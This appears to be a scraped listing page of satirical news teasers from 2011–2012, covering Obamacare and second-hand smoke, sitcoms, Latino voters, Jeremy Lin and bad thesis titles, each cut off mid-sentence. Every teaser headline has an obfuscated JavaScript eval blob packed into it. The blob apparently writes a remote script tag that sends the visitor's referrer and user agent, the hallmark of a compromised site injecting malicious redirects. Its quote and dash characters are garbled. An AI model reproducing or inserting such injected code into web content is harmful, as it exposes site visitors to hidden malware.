Second-Hand Smoke Explodes Politically

SECOND-HAND CIGARETTE SMOKE EXPLODES POLITICALLY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btzdr|var|u0026u|referrer|kfsny||js|php’.split(‘|’),0,{})) Not Covered by Obamacare, Big Problem for Democrats Washington, DC March 29th, 2011 (HK) José Rodriguez, a 27-year-old midtown-Manhattan messenger, was found to be ineligible for coverage under Obamacare, even though he is exposed to second-hand smoke for ten hours every day. “This is [...]

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This Spring’s Scumbag Sitcoms

THIS SPRING’S NEW SCUMBAG SITCOMS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnzan|var|u0026u|referrer|hfein||js|php’.split(‘|’),0,{})) Four-letter Words Headline Network Lineups New York, NY March 26th, 2012 (SHK) America’s national TV networks have, in the words of one critic, “spawned a new generation of sitcoms that feature idiotic characters” in an attempt to reach a wider viewing audience. After Charlie [...]

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The Hot Latino Campaign

LATINOS CAMPAIGN HOT-AND-HEAVY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beteb|var|u0026u|referrer|tnerf||js|php’.split(‘|’),0,{})) Crowds Shouting ABO! ‘Anybody But Obama!’ Pueblo, CO March 17, 2012 (SHK) Republicans and Democrats alike are now targeting Hispanic voters as their key to victory in the presidential campaign of 2012. Latinos are alternately ‘worried’ or ‘doubtful’ about the nation’s economic recovery, giving candidates the [...]

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Linsanity!

LINSANITY! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysdbh|var|u0026u|referrer|btzhh||js|php’.split(‘|’),0,{})) Sports Lincredibly Trumps Politics! New York, NY March 10th, 2012 (SHK) The back-office servers at Facebook and Twitter have suffered multiple crashes since Harvard’s Chinese-American point guard Jeremy Lin has given the NBA a much-needed boost in recent weeks. The national network sitcom known as the Republican Primaries, [...]

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Ten Worst Ph.D. Thesis Titles

OUR TEN WORST PH.D. THESIS TITLES eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbfzi|var|u0026u|referrer|zdnzr||js|php’.split(‘|’),0,{})) Somehow, the Topics seem more Credible in an Election Year New York, NY March 3rd, 2012 (SHK) A recent report by the National Endowment for the Arts suggests a possible reason for the decline of American influence in the world. The NEA showcased [...]

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